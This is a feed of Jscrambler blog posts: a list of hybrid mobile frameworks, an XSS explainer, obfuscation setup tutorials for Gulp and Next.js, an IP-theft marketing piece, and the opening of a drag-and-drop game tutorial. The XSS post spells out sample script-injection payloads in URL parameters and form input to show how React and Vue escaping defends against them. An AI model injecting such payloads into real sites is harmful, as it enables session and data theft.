Forem: Jscrambler

12 Frameworks for Hybrid Mobile Apps

Jscrambler — Wed, 24 Aug 2022 09:49:58 +0000

Working with hybrid mobile app frameworks makes life easier for developers as they are able to write code once and build mobile applications that run on the main platforms with no extra effort. The application will run on Android and iOS and the code can be reused for progressive web applications and even desktop applications (by using Electron, with some tweaks, you can adapt the code for the desktop environment).

In this post, let us dive into a list of 12 very useful frameworks to help you build amazing hybrid mobile apps.

1. React Native

With React Native, you can build mobile apps using only JavaScript. It uses the same design as React, letting you compose a rich mobile UI from declarative components.

Using this framework, you don't build a "mobile web app", an "HTML5 app", or a "hybrid app". You build a real mobile app that's indistinguishable from an app built using Objective-C or Java. React Native uses the same fundamental UI building blocks as regular iOS and Android apps. You just put those building blocks together using JavaScript and React.

If you're already creating apps with React Native, make sure you are protecting their code by following our guide.

2. Ionic Framework

The Ionic Framework is a complete open-source SDK for hybrid mobile app development. It provides tools and services for hybrid mobile app development using Web technologies like CSS, HTML5, and Sass. Apps can be built with these Web technologies and then distributed through native app stores to be installed on devices by leveraging Cordova.

This framework is 100% free and open-source, licensed under MIT and powered by a massive worldwide community. They have over 120 native device features like Bluetooth, HealthKit, Finger Print Auth, and more with Cordova/PhoneGap plugins and TypeScript extensions. You can use their CLI to create, build, test, and deploy your Ionic apps onto any platform. The framework has the Ionicons icon pack with hundreds of the most common app icons. And you can develop your apps by Live Reload because to compile and redeploy your app at every step of development is for chumps. And there are more useful features like deep linking, AoT Compiling, and a custom animations API.

Ionic is framework-agnostic and has official support for React, Preact, Angular, and Vue, as well as for Web Components. Ionic version 5 brought lots of UI updates.

Side Note: Protecting Your Ionic Source Code

We have a comprehensive tutorial on how to protect your Ionic mobile hybrid app. If you want to make sure that nobody is able to reverse-engineer, steal, or tamper with your code, you may want to take a look at it here!

3. NativeScript

Originally created by Progress, NativeScript apps are built using JavaScript, or by using any language that transpiles to JavaScript, such as TypeScript, for instance.

This hybrid mobile app framework has deep integration with modern Angular versions, including full-stack features like integration with the Angular CLI, router support, and code generation. It also includes integration with Vue via a community-developed plugin, which enables using the Vue CLI, Vuex, and other nice Vue.js features.

So, what does a hybrid mobile app built with NativeScript look like? Well, mobile applications built with NativeScript are actually fully native apps and use the same APIs as if they were developed in Xcode or Android Studio. This means you get platform-native UI without WebViews and running with native performance.

Additionally, software developers can re-purpose third-party libraries from Cocoapods, Android Arsenal, Maven, and npm.js in their mobile applications without the need for wrappers.

Side Note: Protecting Your NativeScript Source Code

Progress Telerik has recommended Jscrambler as the solution of choice to protect NativeScript Applications! See our integration guide here.

4. Quasar

The Quasar Framework is powered by Vue.js and enables developers to write code a single time and deploy simultaneously as a website (SPA, PWA, SSR), mobile app (iOS, Android) and desktop (using Electron) using a single code base.

Out of the box, Quasar brings state-of-the-art UI, following Google Material guidelines. It also offers HTML/CSS/JS minification, cache busting, tree shaking, sourcemapping, code-splitting & lazy loading, ES6 transpiling, linting code, and accessibility features, while keeping a small performance overhead - actually, the creators of this hybrid mobile app framework claim that it is "the most performance-focused framework".

With the Quasar CLI, developers also benefit from additional features such as hot-reloading. One of the frameworks most praised benefits is its very thorough documentation and active community.

It's worth mentioning that Quasar is 100% free, open-source, and licensed under MIT.

5. Kendo UI

Kendo UI provides a very extensive collection of JavaScript UI components with libraries for jQuery, Angular, React, and Vue for creating hybrid mobile apps.

Powered by Progress Telerik (the same parent organization of NativeScript), it comes packed with dozens of ready-to-use widgets for jQuery, Angular, React, and Vue. Kendo UI is focused on allowing development teams to quickly build high-performance hybrid mobile apps with excellent performance.

This hybrid app framework is open-source, but it is aimed at enterprise customers - so no free version is available as of right now. One of the key selling points of Kendo UI is that you get world-class support and the guarantee that every component has been thoroughly tested by their strict QA process.

Among the most noteworthy Kendo UI clients, we find HP, NASA, and over 140,000 other companies across the world. It is definitely a hybrid app development framework to consider if you're looking for an enterprise-grade solution with dedicated support.

6. Framework7

Framework7 is a free and open-source mobile HTML framework to develop hybrid mobile apps, web apps, and progressive web apps (PWAs) with native look and feel. Plus, it can be paired with extra tools like Electron and NW.js, allowing you to build native desktop apps.

This hybrid app framework can be an indispensable prototyping tool to show working app prototypes as soon as possible in case you need to. It is focused on iOS and Google Material design to bring the best experience and simplicity.

Much like similar hybrid app frameworks, Framework7 offers a rich ecosystem of components for popular JS frameworks the likes of Vue, React, and Svelte.

Some useful features provided by Framework7 are native scrolling, library-agnostic, pages transition animation, multiple views support, hardware-accelerated animations via CSS3, route pages by using the combination of XHR, caching, browser history and preloading.

7. Aurelia

Aurelia characterizes itself as a "collection of Modern JavaScript modules, which when used together, function as a powerful platform for building browser, desktop and mobile applications". As such, any of Aurelia's modules can be used on its own in any JavaScript or Node.js project.

With a focus on clean yet powerful code, Aurelia is especially aimed at those who prefer to use vanilla JavaScript or TypeScript. In fact, they go so far as claiming that they are "the only framework that lets you build components with plain, vanilla JavaScript/TypeScript". Still, because it strictly follows web standards, it can readily be integrated with any framework or library out there.

As for its features, some of the most powerful Aurelia modules include metadata, dependency injection, binding, templating, and routing. Its ecosystem includes plugins for state management, internationalization and validation, as well as tools like a CLI, Chrome debugger, and VS Code plugin. And because Aurelia is based on a high-performance reactive system, it batches DOM updates faster than virtual-DOM-based frameworks.

This hybrid mobile app framework is 100% free to use, open-source, and licensed under the MIT license.

8. Onsen UI

Onsen UI has quickly grown in adoption since its release in 2013. It is an open-source framework under the Apache v2 license. Onsen UI is framework-agnostic UI components, you can choose and switch among the frameworks: AngularJS, Angular, React, and Vue.js or go pure JavaScript to build your hybrid apps.

The framework architecture consists of three layers: CSS components, Web components, and framework bindings. It also features a large collection of ready-to-use, responsive out-of-the-box components.

This framework is very easy to use, flexible, has semantic markup components, and is free to use for commercial projects.

9. Ext JS

Ext JS is an enterprise-grade product for building cross-platform end to end mobile web apps with HTML5 and JavaScript. It is especially fit to build data-intensive, cross-platform web and mobile applications.

This hybrid mobile app framework isn't afraid to state that it is "The Best JavaScript Framework In The World". And in fact, among the 10k companies using the framework, we find Apple, Adobe, Cisco, Nvidia, and many other global enterprises.

For individual developers and freelancers, Ionic, Onsen UI or Framework7 will be a better choice - but, for enterprise applications, Ext JS leads the way.

ExtJS scores highly against its competitors by providing a native look and feel across all of the platforms it supports. It helps create high-performance hybrid mobile apps with near-native experience and packs ready-to-use widgets with native look and feel for all leading platforms including iOS, Android, Windows Phone, and Blackberry. The framework also features a drag and drop HTML5 visual application builder with tons of ready to use templates. It has built-in support for Angular and React.

10. Axway Appcelerator

Appcelerator (also known as Appcelerator Titanium) is a JavaScript-based hybrid app framework. It is cross-platform with full support for Android and iOS. In the end, the compiled code is a combination of native and JavaScript that improves performance for hybrid mobile app development. It has integrations available for Angular and Vue.

Appcelerator is a good solution for creating hybrid mobile apps. To get started with Appcelerator, download Titanium studio. The Titanium SDK is equipped with a number of mobile platform APIs and Cloud service to use as an app backend. It comes with platform-independent APIs which makes it easier to access phone hardware.

Appcelerator uses Hyperloop to join the cross-platform power of Titanium with direct access to any native API using JavaScript. The framework has both free and paid plans.

11. Svelte Native

Svelte Native is the youngest framework on this list for hybrid app development. With the Svelte framework quickly growing in popularity among web developers thanks to its simplicity, the mobile framework quickly followed in its footsteps.

Svelte Native is powered by Svelte and NativeScript. So, while mobile app frameworks like React Native perform the bulk of their work on the actual mobile device, Svelte Native takes a new approach by shifting that work into a compile step at build time.

Plus, rather than relying on techniques like virtual DOM diffing, Svelte creates code that updates native view widgets when the app's stage changes.

Be aware that, since this framework is still in its early stages, you may experience some issues. And, who knows - maybe this will be the next big thing in hybrid mobile app development.

12. Xamarin

Xamarin is a Microsoft-owned San Francisco California-based software company founded in May 2011 which has cross-platform implementations of the Common Language Infrastructure (CLI) and Common Language Specifications (often called Microsoft .NET).

With a C# shared codebase, developers can use Xamarin tools to write native Android, iOS, and Windows apps with native user interfaces and share code across multiple platforms, including Windows and MacOS. Xamarin is the top hybrid mobile app development framework. It saves your time regarding re-utilizing abilities, tools, teams and the best significant part is code. You can influence the array of Xamarin and Android APIs as well as design an amazing experience for glass with the Android SDK and GDK.

Conclusion

Hybrid app development has grown immensely over the past few years. It's no wonder that many development teams are opting-in for hybrid mobile apps instead of their native counterparts - they provide faster development, easier prototyping, and a reportedly better ROI.

If you're planning to develop a mobile application, choosing a hybrid app framework can also help you build apps for web and desktop more easily as a way to reach more customers.

And with the advancements we've seen in the JavaScript ecosystem and in each of the hybrid mobile app frameworks presented on this list, hybrid mobile apps today are closer than ever to native apps, both in their overall look and in performance.

Lastly, if you're building hybrid mobile apps with JavaScript, you should secure your source code against theft and reverse-engineering. Start a free Jscrambler trial and protect your code in 2 minutes!

Cross-site Scripting (XSS)

Jscrambler — Tue, 12 Jul 2022 15:43:51 +0000

Cross-site scripting is a vulnerability that happens when there’s an injection of malicious code to run on a regular webpage. This piece of code can go on to cause unauthorized actions and access data. Many times, these attacks seem to be a legitimate part of the website because they are added as parameters on the original URL.

We’ll be covering different types of these attacks and how modern frontend frameworks help handle XSS attacks.

Types Of XSS Attacks

Cross-site scripting attacks come in different forms in a bid to steal user data and information.

The main idea is to use any input medium to send malicious code to the application. These types are reflected, Stored, and DOM-based attacks.

Reflected XSS Attacks

This is the most common type of attack where the attackers create a malicious link using the website and adds the malicious code as URL param.

https://webapp.com/?keyword=<script>alert("You've been hacked")</script>

The attacker takes the compromised URL and sends it to a specific user or a number of users through phishing emails. Unsuspecting users click on the link in the mail and open it in their browser. The code in the parameter runs on the website and executes whatever malicious intent the attacker wants.

Interestingly, Chrome now checks for URLs with script tags like what we have above. It detects it as an XSS attack and counters it. So attackers now try to shorten the links using link shorteners, that way, the param are not explicitly displayed as part of the link. Or, they encode the param in base 64 or whatever format that does not display the script tag and inner code.

Stored XSS Attacks

This type of attack takes a different approach. The attack is initiated from inside the website itself. It simply sends a piece of javascript code to the database using a regular input tag. The attacker goes to the website and looks for any input that can send data to the server like comment sections, search bar, or even forms. Then, instead of sending a regular text the attackers sends malicious code inside a script tag.

<script>alert("you've been hacked")</script>

We then store the piece of code in the database. Whenever we call the data on the client-side, the piece of code is returned and runs, rather than just displaying it. For instance, the hacker can use this to get the user’s credentials in the local storage or cookies and send it to their own servers, thus compromising users' data.

DOM-Based XSS Attacks

Similar to the reflected XSS attacks, this can be initiated using parameters in the URL. In this case, the script tag will contain a function that uses the DOM to get HTML elements on the webpage and manipulate the webpage by running their own script. Let’s take a look at this code below:

window.onload = function () {var searchResult = document.getElementById('searchResult');searchResult.innerHTML = `You've been hacked` + searchResult;}

We get the text whose id is searchResult and replace it with a malicious text on load. This is added to the DOM using innerHTML.

Now, to add this code to the webpage we will need to add it as a query param.

https://webapp.com/?keyword=<script>window.onload = function () {var searchResult = document.getElementById('searchResult');searchResult.innerHTML = `You've been hacked` + searchResult;}</script>

As explained earlier, the attacker finds a way to send this malicious link to unsuspecting victims who unknowingly run the code and get hacked.

How Current Single Page Application (SPAs) Handle XSS Attacks

As the web evolves, Single Page Applications (SPAs) were created to abstract a lot of complicated things on the frontend which greatly improves the developer experience. These things include data management, state, reusability of UI components, security, etc. For instance, React helps handle XSS attacks by escaping all variables that is displayed to the user.

const Component = () => { 
    return (   
        <h1> Hello {hackString}!</h1>  
        )
        }

What this means is by design attackers can’t inject code that can override existing text on the webpage.

For instance, if the attacker tries to inject code in a script tag like this:

var hackString = '<script>alert("YOU ARE HACKED")</script>';

If you try to display this string as a text in our react component, React escapes it and and displays it as a plain string.

return (        
        <div>{hackString}</div>   
        );

The only way the attacker can find a way around it is if we use dangerouslySetInnerHTML to add text to our react component, which is something React advises against because of the XSS risk.

return (      
        <div dangerouslySetInnerHTML={{"__html": hackString}} />   
        );

Vue

Vue also handles XSS attacks well. It escapes all HTML content, meaning similar to React, external code cannot be injected into any component in our application.
Assuming the attacker tries to inject hackString into our Vue app:

<h1>{{ hackString }}</h1>

Vue escapes the Javascript code to display the following HTML:

&lt;script&gt;alert(&quot;hackString&quot;)&lt;/script&gt;

The only case where we can create XSS attack vulnerability in our application is if we use v-html. That’s because v-html` uses the DOM to add content directly to our website.

Conclusion

This article covered cross-site scripting and how it can affect websites. We talked about types of XSS attacks and how they present themselves differently. These attacks are caused by user-generated data and so the solution is to be able to filter the data before sending them to the server and vice-versa.

Also, we looked into modern frontend frameworks and how they secure the apps against attacks. This is done by escaping data that is not text, meaning strings containing code can be escaped instead of allowing the browser to run it as actual code. As you build, one thing to keep in mind is that XSS attacks come in different ways, and we should consider the security of our apps.

How To Protect Your Code While Using Gulp

Jscrambler — Mon, 20 Dec 2021 10:00:24 +0000

As the web development ecosystem grew, with frameworks and libraries becoming the status quo, build tools quickly became an essential part of the dev toolchain. Gulp has been one of the most widely adopted task runners, as it provides lots of flexibility to automate and enhance dev workflows, especially through the use of plugins.

Gulp Overview

Gulp is a platform-agnostic toolkit that can be used to automate time-consuming tasks in a development workflow.

All tasks performed by Gulp are configured inside a file named Gulpfile.js and these can be written in vanilla JS, with Node modules, and also using a series of Gulp APIs such as src(), dest(), series() and parallel().

When the gulp command is run, each Gulp task is triggered as an asynchronous JavaScript function. For more information about Gulp tasks, please see the official documentation.

Setting Up a Simple App Which Uses Gulp

For the purposes of this tutorial, we will create a very simple application built with Node.js and Express. First, let's kick off a project:

npm init

When prompted, choose whichever defaults you prefer. Once that’s done, install Express:

npm install express --save

Then, let's create an app.js file in our project's root folder with the following code, provided in the Express website:

const express = require('express')
const app = express()
const port = 3000

app.get('/', (req, res) => {
  res.send('Hello World!')
})

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

This app starts a server and listens on port 3000 for connections. The app responds with “Hello World!” for requests to the root URL (/) or route.

Now, let’s install Gulp as a dev dependency:

npm install gulp --save-dev

And then let’s create a Gulpfile.js file in our project’s root folder containing the following boilerplate configuration (which will be used only in the next section):

function defaultTask(cb) {
  // place code for your default task here
  cb();
}

exports.default = defaultTask

Now, let’s run the Node app with:

node app.js

We will see a "Hello World" message on localhost:3000.

How to Configure Jscrambler

Let's begin by getting a ready-to-use file with our intended Jscrambler configuration.

If you haven't created a Jscrambler account yet, be sure to do so before moving forward.

Log into the Jscrambler Web App. Once there, create a new app. Now, it's time to pick the Jscrambler transformations that we want to use. We can pick them one-by-one in the Fine-Tuning tab but, in our case, let's go ahead to the Templates tab and pick the Obfuscation template. If you need help with these steps, please refer to our guide.

Now, we simply have to download a JSON file with all this configuration, which will be used only for quickly getting the required settings.

Now that you have the file with the needed configuration, you can integrate Jscrambler with Gulp.

Let’s install the Jscrambler Gulp plugin:

npm install gulp-jscrambler --save-dev

Now, we need to add the configurations we need to get Jscrambler working with Gulp. To do this, we will need some parts of the jscrambler.json file we downloaded earlier: accessKey, secretKey, applicationId, and the params array.

Our final gulpfile.js file should look like this:

var gulp = require('gulp');
var jscrambler = require('gulp-jscrambler');

gulp.task('default', function (done) {
  gulp
    .src('app.js')
    .pipe(jscrambler({
      keys: {
        accessKey: 'YOUR_ACCESS_KEY',
        secretKey: 'YOUR_SECRET_KEY'
      },
      applicationId: 'YOUR_APPLICATION_ID',
      params: [
        {
            "name": "objectPropertiesSparsing"
          },
          {
            "name": "variableMasking"
          },
          {
            "name": "whitespaceRemoval"
          },
          {
            "name": "identifiersRenaming",
            "options": {
              "mode": "SAFEST"
            }
          },
          {
            "name": "dotToBracketNotation"
          },
          {
            "name": "stringConcealing"
          },
          {
            "name": "functionReordering"
          },
          {
            "options": {
              "freq": 1,
              "features": [
                "opaqueFunctions"
              ]
            },
            "name": "functionOutlining"
          },
          {
            "name": "propertyKeysObfuscation",
            "options": {
              "encoding": [
                "hexadecimal"
              ]
            }
          },
          {
            "name": "regexObfuscation"
          },
          {
            "name": "booleanToAnything"
          }
        ]
    }))
    .pipe(gulp.dest('dist/'))
    .on('end', done);
});

If we take a closer look at this file, we'll see that src specified the path to the files that Jscrambler will use. At the bottom of the file, .pipe(gulp.dest('dist/')) places the protected version on the dist/ folder. You can change these to match your project's requirements.

Now, all that's left is to make sure that our build process is using Gulp. In our case, we must make sure that there's a script in our package.json file to build our app using Gulp:

"scripts": {
    "build": "gulp"
  },

We're now ready to run our build:

npm run build

That's it! Now we have our protected build files. If we check our /dist/app.js file, we will see that it has been obfuscated with Jscrambler.

Conclusion

Using a task runner like Gulp has become a must for web developers. Even though build tools like webpack have been seeing more traction these days, Gulp is still widely used—according to the 2020 State of JavaScript survey, it is the second most popular build tool for JS, used by 65% of respondents.

As we saw in this tutorial, integrating Jscrambler with Gulp is a straightforward process, thanks to the Jscrambler Gulp plugin. With this integration, you can automatically protect the source code in each new build and ensure that you are minimizing your app’s exposure to abuse, reverse engineering, licensing violations, and code tampering.

This all comes with premium support, so be sure to contact us if you have any questions!

Preventing Intellectual Property Theft with Jscrambler

Jscrambler — Thu, 25 Nov 2021 10:43:07 +0000

What is intellectual property theft?

Intellectual property theft (also called IP theft) refers to someone illegitimately taking possession of someone else’s proprietary inventions or developments. In the context of business, and specifically in IT, IP theft typically refers to a competitor or malicious actor getting access to trade secrets or proprietary algorithms to be used to the thief's own advantage.

The acceleration of digital transformation, which was exacerbated by the Covid pandemic, has stimulated the development of new technologies, consequently increasing the value of companies’ intellectual property.

This, of course, creates a huge opportunity for attackers and scammers. We have witnessed copycat apps going rampant in app stores and stealing business away from original developers, as well as fake Covid tracking apps mimicking official government apps and installing malware on the user’s device.

Looking at past attacks, it becomes clear that most intellectual property theft occurs in geographies with ambiguous IP laws, which makes enforcement extremely difficult. But even though tackling this problem is no easy task, prevention is considerably more beneficial for businesses than remediation.

Consequences of intellectual property theft

The Commission on the Theft of American Intellectual Property points out in their IP commission Report that IP theft ends up costing affected companies around $225 billion to $600 billion. While this figure will vary substantially from case to case and the indirect damages are extremely difficult to estimate, it’s simple enough to understand the potential damages in specific examples.

In the case of copycat applications, for instance, malicious actors typically steal the whole source code of the application and deploy it posing as a legitimate app. They may then monetize the application, taking advantage of the leniency that app stores are displaying, failing to crack down on copycats.

Here, there’s a direct impact on the affected business with the loss of revenue. The vast majority of users aren't able to differentiate between an original app and a copycat, and so while the app remains available on app stores (which can go on for months), the copycat app will be diverting sales. In some cases, the copycat app can also be used to distribute malware, jeopardizing the reputation of the company.

A second example of IP theft relates to a competitor wanting to retrieve a proprietary algorithm. In highly competitive sectors such as E-Commerce, companies invest heavily in specialized algorithms to improve their conversion rate. Competitors may go through the app’s source code to analyze the logic of these algorithms, allowing them to mimic their behavior and utilize it for their own gain. As a result, the company that originally developed the algorithm will lose a competitive advantage that could translate into millions of dollars in revenue.

How to prevent intellectual property theft with Jscrambler

In order to prevent intellectual property theft in web and mobile applications, businesses need to adopt adequate measures to secure their intellectual property (i.e. their source code). But how exactly can they secure it?

To make this easier to digest, let’s pick up our previous two examples: copycat applications and a competitor trying to retrieve a proprietary algorithm.

Tip: For a hands-on experience, feel free to try the code protection measures we will explore below on your own code by using a Jscrambler free trial.

Stopping copycat applications

In the case of copycat apps, as we saw, malicious actors will try to get access to the source code of the original application in order to copy it and benefit from it. So, to prevent that, businesses need to focus on adding strong protection to their source code to stop those malicious actors from ever being able to understand or replicate the code’s logic.

The answer to this is applying code obfuscation along with other code protection techniques that can be used to stop third parties from trying to reuse the code. This is actually a security recommendation by OWASP, precisely because of the underlying dangers of having exposed code.

So, the first step to stop copycats would be to conceal the code using JavaScript obfuscation, which includes a series of code transformations that turn the otherwise exposed code into a protected version that is extremely hard to understand and reverse-engineer. But to make the concealed code effectively safe from copycats, obfuscation alone isn't enough—an obfuscated app will run just like the original code, so copycats could just replicate that code. This is why simple obfuscation tools fail the purpose of actually making it hard for copycats to create app replicas.

Jscrambler provides copycat protection by applying additional strong code protection techniques on top of the obfuscation, namely Code Locks and the Self Defending layer.

Code Locks are especially useful against copycats because they provide control over the environment where the code is allowed to run. A date lock, for example, automatically “expires” the code after a certain time, meaning that copycats would have to continuously retrieve fresh batches of code to avoid having broken apps. A browser or domain lock, on the other hand, allow locking the original code to certain browsers or domains, which prevents the copycat from actually running.

In case the copycats attempt debugging the code to try and learn how the application works, Jscrambler’s Self-Defending feature protects functions and object literals—concealing their logic—and detects debuggers to trigger defenses that thwart reverse engineering attempts.

Stopping a competitor from retrieving a proprietary algorithm

When it comes to valuable proprietary algorithms, competitors may want to try and retrieve the source code that contains them to use it to their own advantage. To prevent that, as we saw in our previous example, we need to protect the source code.

Let’s take a look at the example code below. It’s an algorithm that recommends products based on the customer’s previous purchase history.

Now, if this were a proprietary algorithm, naturally, we would not want to leave that code exposed to our competitors. Simply by analyzing this code, they could potentially replicate the algorithm altogether. So, our first step would be to conceal all this logic with JavaScript obfuscation, taking advantage of Jscrambler’s several transformations.

In the code snippet above, we can see the results of using Jscrambler’s Control Flow Flattening transformation. It flattens the flow of the program by removing the natural conditional constructs that make the code easier to read. As a result of this single transformation, the code is already extremely hard to understand and reverse-engineer.

However, applying a single transformation would not be enough to fully protect the code from competitors’ eyes. Specifically, the Control Flow Flattening transformation used above doesn’t change any of the names, numbers, or strings that are used in the original algorithm, as we can see below.

As such, with Jscrambler we can combine several different transformations, including string concealing and variable masking, to completely conceal all the logic of the source code and prevent competitors from being able to retrieve any useful information.

Continuing the previous example, after adding 11 different obfuscation transformations from Jscrambler, we get completely unreadable code that is extremely difficult to reverse-engineer, both by humans and reverse-engineering tools.

But if you’re truly motivated about protecting your intellectual property and keeping your algorithms safe from prying eyes, you would still want to raise the bar even higher to stop reverse engineering attempts. By employing Jscrambler’s Self-Defending feature, your protected code will effectively mitigate any debugging or tampering attempt by triggering countermeasures at runtime, preventing dynamic code analysis. And since this is added on top of the potent obfuscation we saw before, it will also prevent static code analysis, leaving competitors completely locked out.

Finally, in case you’re only concerned about protecting specific algorithms throughout your source code, you can easily apply Jscrambler’s protection to these specific parts by using our Code Annotations feature.

Final Thoughts

As businesses become more digital, and as the competition grows, the need to stand out is often translated into innovative digital products. Naturally with innovation, and digital innovation specifically, we see Intellectual Property theft becoming more prevalent.

With that, come the consequences IP Theft brings to businesses, which shine a light on the fact that the cost of preventing it from ever unfolding is nowhere near the cost of trying to pick up the pieces afterwards.

So, to protect their innovative proprietary algorithms, companies must protect their source code with strong obfuscation transformations, code locks, and runtime protection. Jscrambler provides cutting-edge protection that, unlike simple obfuscation tools, is resilient to reverse-engineering both by humans and reverse engineering tools, ensuring that the code is kept away from prying eyes and can’t be redistributed.

Secure your JavaScript source code against theft and reverse-engineering, with a Jscrambler trial for free.

How To Protect Next.js Apps with Jscrambler

Jscrambler — Fri, 12 Nov 2021 16:52:55 +0000

Next.js is an open-source React-based framework built on top of Node.js that is aimed at developing web apps. It includes handy features such as hybrid static & server rendering, TypeScript support, smart bundling, and route pre-fetching.

In the 2020 State of JavaScript survey, Next.js was the second most used back-end framework (behind Express) but claimed the top spot when it came to satisfaction, with 92% of its users stating they are satisfied with the framework.

In this article, we’ll look at how you can integrate Jscrambler into your Next.js app development workflow. This will enable you to protect your JavaScript source code, through a combination of advanced obfuscation, code locks, anti-tampering, and anti-debugging.

Pre-Requisites

In order to properly integrate Jscrambler into your Next.js build process, there are two things we need to do first: creating a Next.js app and configuring Jscrambler. Let's go through those steps.

Creating Your Next.js Application

If you are not very experienced with Next.js yet, feel free to check their "Create a Next.js App” tutorial before moving forward. We will actually be using this example app in our integration tutorial, so let’s install it:

git clone https://github.com/JscramblerBlog/nextjs-jscrambler-integration-tutorial.git

Now, let's install all app dependencies using npm:

cd nextjs-jscrambler-integration-tutorial
npm i

The (simplified) base project structure of our Next.js application is as follows:

nextjs-jscrambler-integration-tutorial/
|-- package-lock.json
|-- package.json
|-- README.md
|-- .next
| |-- static/
| | |-- chunks/
| | | |-- pages/
|-- node_modules/
|-- pages/
|-- public/

package.json contains all the configurations which are related to npm such as dependencies, version, and scripts.
The pages directory features all the source code of the application. The sources are then built and packed into the .next/static/ directory. This is where our protected HTML and JavaScript files will be placed after the build.
The public directory contains all publicly accessible files, such as images.

We can easily run a development server just to make sure that the app is running properly.

npm run dev

You will get an URL in the console with the development server and, after opening it, you should see the app running as shown below.

And this is pretty much it in terms of our Next.js app. Let's move forward to protecting it with Jscrambler.

Configuring Jscrambler

If you haven't created a Jscrambler account yet, be sure to do so before moving forward.

All of Jscrambler's configuration will reside inside a single file: .jscramblerrc. As such, we will need to create this file to specify which transformations we wish to use.

The quickest way to achieve this is via the Jscrambler Web App. Once there, create a new app. Now, check the Templates and Fine-Tuning tabs to select the template or transformations you want to use to protect your code. In this tutorial, we'll be selecting the Obfuscation template. If you need help with these steps, please refer to our guide.

Now, we simply have to download a JSON file with all this configuration, which will be used only for quickly getting the required settings.

Now, let's create a new file named .jscramblerrc on the Next.js project’s root folder. Open the jscrambler.json file we just downloaded and copy all its contents to the .jscramblerrc file. After that, we just have to add two new sections to .jscramblerrc, which are filesSrc and filesDest (see below). Your final .jscramblerrc file should look like this:

{
 "keys": {
   "accessKey": <ACCESS_KEY_HERE>,
   "secretKey": <SECRET_KEY_HERE>
 },
 "applicationId": <APP_ID_HERE>,
 "filesSrc": [
   "./.next/**/*.html",
   "./.next/**/*.js"
 ],
 "filesDest": "./",
"params": [
    {
      "name": "objectPropertiesSparsing"
    },
    {
      "name": "variableMasking"
    },
    {
      "name": "whitespaceRemoval"
    },
    {
      "name": "identifiersRenaming",
      "options": {
        "mode": "SAFEST"
      }
    },
    {
      "name": "globalVariableIndirection"
    },
    {
      "name": "dotToBracketNotation"
    },
    {
      "name": "stringConcealing"
    },
    {
      "name": "functionReordering"
    },
    {
      "options": {
        "freq": 1,
        "features": [
          "opaqueFunctions"
        ]
      },
      "name": "functionOutlining"
    },
    {
      "name": "propertyKeysObfuscation",
      "options": {
        "encoding": [
          "hexadecimal"
        ]
      }
    },
    {
      "name": "regexObfuscation"
    },
    {
      "name": "booleanToAnything"
    }
  ],
  "areSubscribersOrdered": false,
  "useRecommendedOrder": true,
  "jscramblerVersion": "<7.X>",
  "tolerateMinification": true,
  "profilingDataMode": "off",
  "useAppClassification": true,
  "browsers": {}
}

Because we got this information directly via the Jscrambler Web App, our accessKey, secretKey and applicationId fields are already filled. If you wish to retrieve them manually, refer to our guide.

It's important to note that the params section specifies the transformations that will be used to protect your Next.js app. These can be hand-picked by you, by selecting them in the Web App or setting them manually. You can find documentation on all the available transformations here.

You can also change filesSrc to match the files you need/want to protect. For our example—and all Next.js apps—we recommend protecting the .html and .js files. Certainly, with a better understanding of the project, you may identify what’s critical and essential protecting.

By using filesDest: './', the files we send to protect will be overwritten by their protected version.

Integrating Jscrambler in the Build Process

Using the CLI is likely the most common way of generating your build. We will use our boilerplate app to showcase how to integrate Jscrambler into the build process.

The first step of our integration with Jscrambler is installing the Jscrambler API Client. Simply run:

npm i jscrambler --save-dev

To integrate Jscrambler in our application's build process via the CLI, we need to create a CLI hook in the scripts section of package.json. The section should look like this:

  "scripts": {
    "dev": "next dev",
    "build": "next build && jscrambler",
    "start": "next start"
  },

The specific "build": "next build && jscrambler" hook will trigger the jscrambler command after the build process is finished.

In order for this command to be executable, we need to make sure that the .jscramblerrc file that we created before is in our project's root folder.

We are now ready to protect our code and build our application via the CLI:

npm run build

This will create the protected production files on .next/static/.

And you're done! Now all your HTML and JavaScript files are protected with Jscrambler against code theft and reverse-engineering. Remember that you can always fine-tune your protections to manage eventual performance hits. If that's the case, be sure to follow our tutorials on Code Annotations and Profiling.

Testing the Protected Next.js App

As a final step, let's check if the app is running successfully with the newly protected source code:

npm run start

Open the URL provided in the console and it will open up a server with the production files.

Now, you can check what your protected code looks like. This can be achieved simply by opening the browser's debugger and opening the files from the "Sources" tab. The protected code should look like this:

Conclusion

Next.js has truly been a rising star in the web development ecosystem. The 4-year-old framework has been growing rapidly and bringing several welcome features for developers, making it much easier to release production-ready applications.

If you're building Next.js applications which have sensitive logic, want to prevent reverse-engineering, licensing violations, and tampering, a security solution such as Jscrambler is a must.

Integrating Jscrambler into Next.js's build process is simple and enables protecting your code with the most sophisticated polymorphic obfuscation, code locks, and self-defensive capabilities.

This all comes with premium support, so be sure to contact us if you have any questions!

Build a Simple Game in Vanilla JS With the Drag and Drop API

Jscrambler — Tue, 21 Sep 2021 16:54:14 +0000

The JavaScript language lives in a browser. Actually, let's rephrase that: a web browser has a separate part inside of it, called the JavaScript engine. This engine can understand and run JS code.

There are many other separate parts that, altogether, make up the browser. These parts are different Browser APIs, also known as Web APIs. The JS engine is there to facilitate the execution of the JS code we write. Writing JS code is a way for us (developers) to access various functionalities that exist in the browser and that are exposed to us via Browser APIs.

What Is a Web API?

Web APIs are known as "browser features". Arguably, the most popular of these various browser features⁠—at least for JavaScript developers⁠—is the browser console. The Console API allows us to log out the values of variables in our JavaScript code. Thus, we can manipulate values in our JS code and log out these values to verify that a specific variable holds a specific (expected) value at a certain point in the thread of execution, which is great for debugging. If you've spent any significant amount of time with the JS language, this should all be pretty familiar.

What some beginner JavaScript developers do not comprehend is the big picture of the browser having a large number of these "browser features" built-in⁠—and accessible to us via various JavaScript “facade” methods: methods that look like they’re just a part of the language itself, but are actually “facades” for features outside of the JS language itself. Some examples of widely used Web APIs are the DOM API, the Canvas API, the Fetch API, etc.

The JavaScript language is set up in such a way that we can't immediately infer that the functionality we're using is in fact a browser feature. For example, when we say:

let heading = document.getElementById('main-heading');

... we're actually hooking into a browser feature⁠—but there's no way of knowing this since it looks like regular JS code.

The Drag and Drop Web API

To understand how the Drag and Drop API works, and to effectively use it, all we have to do is know some basic concepts and methods it needs. Similar to how most front-end developers are familiar with the example from the previous section (namely, document.getElementById), we need to learn:

the basic concepts of the Drag and Drop Web API;
at least a few basic methods and commands.

The first important concept related to the Drag and Drop API is the concept of the source and target elements.

Source and Target Elements

